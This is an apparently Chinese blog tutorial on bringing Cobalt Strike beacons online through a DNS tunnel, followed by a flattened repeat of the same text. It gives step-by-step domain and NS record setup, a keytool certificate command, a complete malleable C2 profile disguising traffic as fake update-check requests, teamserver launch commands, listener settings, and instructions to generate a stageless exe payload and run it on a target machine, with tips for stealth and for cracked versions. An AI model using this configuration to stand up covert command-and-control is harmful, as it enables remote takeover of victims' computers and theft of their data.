CS上线之DNS隧道踩坑记
字数 1226 2025-08-15 21:32:45

DNS隧道上线Cobalt Strike踩坑与配置指南

1. 环境准备

1.1 服务器要求

  • 操作系统:Ubuntu 18.04
  • 开放端口:53/UDP(DNS服务)
  • 需要关闭占用53端口的服务:
    systemctl stop systemd-resolved
    

1.2 域名购买

  • 选择支持自由配置NS记录的域名服务商(推荐GoDaddy或国内主流厂商)
  • 确保可以添加自定义NS记录

1.3 Cobalt Strike版本

  • 推荐使用CS 4.1版本
  • CS 4.0某些破解版在checkin操作时可能不会响应

2. 域名配置

2.1 DNS记录设置

  1. 添加一条A记录:

    vpn.yourdomain.com → CS服务器IP
    
  2. 添加多条NS记录(至少一条):

    ns1.yourdomain.com → vpn.yourdomain.com
    ns2.yourdomain.com → vpn.yourdomain.com
    ns3.yourdomain.com → vpn.yourdomain.com
    

2.2 TTL设置

  • 初始测试时设置为服务商允许的最小值(GoDaddy最小600秒)
  • 测试成功后调整为600-900秒

3. 证书与Profile配置

3.1 生成密钥库文件

  1. 删除原有的cobaltstrike.store文件
  2. 使用keytool生成新store文件:
    keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"
    

参数说明:

  • keystore:文件名(需与profile一致)
  • keypass:证书密码(需与profile一致)
  • alias:别名(需与profile一致)
  • storepass:store文件密码(需与teamserver默认密码一致)

3.2 Profile文件配置

创建C2.profile文件,内容如下:

set sample_name "tryblog POS Malware";
set sleeptime "5000"; # ~30s回调间隔
set jitter "10"; # 10%抖动
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

# 证书配置(需与生成时一致)
https-certificate {
    set CN "CC";
    set O "IBM";
    set C "AV";
    set L "AD";
    set OU "HW";
    set ST "AC";
    set validity "365";
}

# 代码签名配置
code-signer {
    set keystore "cobaltstrike.store";
    set password "123456";
    set alias "baidu.com";
}

# DNS配置
set dns_idle "8.8.4.4"; # 重要:不能设为0.0.0.0
set dns_sleep "0";
set maxdns "235";

# HTTP POST配置
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
        id {
            netbios;
            parameter "id";
        }
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}

# HTTP GET配置
http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

4. 启动Cobalt Strike

4.1 启动命令

./teamserver <CS服务器IP> <密码> ./C2.profile

4.2 后台运行

nohup ./teamserver <CS服务器IP> <密码> ./C2.profile &

5. 监听器配置

  1. 创建DNS Beacon监听器
  2. 关键点
    • 主机(Host)字段填写NS记录域名(如ns1.yourdomain.com)
    • Stager字段只需填写任意一个NS记录域名
    • 不要填写A记录域名

6. 生成Payload与上线

  1. 生成stageless的exe payload(推荐):

    • 包含完整的DNS beacon
    • 有x64版本
    • 无需下载stage数据,上线更快
  2. 目标机器执行payload后:

    • CS界面显示黑框
    • 右键选择"进入beacon"
    • 输入checkin命令
    • 等待黑框变蓝(表示成功上线)
  3. 测试命令:

    whoami
    

7. 故障排查

  1. 无法上线

    • 检查53端口是否被占用
    • 确认profile中的dns_idle不是0.0.0.0
    • 验证NS记录解析是否正常
  2. nslookup无响应

    • 确保systemd-resolved服务已停止
    • 检查DNS监听器配置是否正确
  3. checkin无响应

    • 尝试更换CS版本(推荐4.1)
    • 检查profile配置是否与证书生成参数一致

8. 注意事项

  1. DNS隧道相对HTTP隧道速度较慢,需要耐心等待
  2. 上线后首次命令执行可能需要较长时间
  3. 生产环境建议修改默认端口和密码增强隐蔽性
  4. profile中的dns_idle设置会影响nslookup响应结果

通过以上详细配置,应该能够成功建立DNS隧道并使Cobalt Strike beacon上线。如果在测试过程中遇到问题,建议按照故障排查部分逐步检查各环节配置。

DNS隧道上线Cobalt Strike踩坑与配置指南 1. 环境准备 1.1 服务器要求 操作系统:Ubuntu 18.04 开放端口:53/UDP(DNS服务) 需要关闭占用53端口的服务: 1.2 域名购买 选择支持自由配置NS记录的域名服务商(推荐GoDaddy或国内主流厂商) 确保可以添加自定义NS记录 1.3 Cobalt Strike版本 推荐使用CS 4.1版本 CS 4.0某些破解版在checkin操作时可能不会响应 2. 域名配置 2.1 DNS记录设置 添加一条A记录: 添加多条NS记录(至少一条): 2.2 TTL设置 初始测试时设置为服务商允许的最小值(GoDaddy最小600秒) 测试成功后调整为600-900秒 3. 证书与Profile配置 3.1 生成密钥库文件 删除原有的cobaltstrike.store文件 使用keytool生成新store文件: 参数说明: keystore :文件名(需与profile一致) keypass :证书密码(需与profile一致) alias :别名(需与profile一致) storepass :store文件密码(需与teamserver默认密码一致) 3.2 Profile文件配置 创建C2.profile文件,内容如下: 4. 启动Cobalt Strike 4.1 启动命令 4.2 后台运行 5. 监听器配置 创建DNS Beacon监听器 关键点 : 主机(Host)字段填写NS记录域名(如ns1.yourdomain.com) Stager字段只需填写任意一个NS记录域名 不要填写A记录域名 6. 生成Payload与上线 生成stageless的exe payload(推荐): 包含完整的DNS beacon 有x64版本 无需下载stage数据,上线更快 目标机器执行payload后: CS界面显示黑框 右键选择"进入beacon" 输入 checkin 命令 等待黑框变蓝(表示成功上线) 测试命令: 7. 故障排查 无法上线 : 检查53端口是否被占用 确认profile中的dns_ idle不是0.0.0.0 验证NS记录解析是否正常 nslookup无响应 : 确保systemd-resolved服务已停止 检查DNS监听器配置是否正确 checkin无响应 : 尝试更换CS版本(推荐4.1) 检查profile配置是否与证书生成参数一致 8. 注意事项 DNS隧道相对HTTP隧道速度较慢,需要耐心等待 上线后首次命令执行可能需要较长时间 生产环境建议修改默认端口和密码增强隐蔽性 profile中的dns_ idle设置会影响nslookup响应结果 通过以上详细配置,应该能够成功建立DNS隧道并使Cobalt Strike beacon上线。如果在测试过程中遇到问题,建议按照故障排查部分逐步检查各环节配置。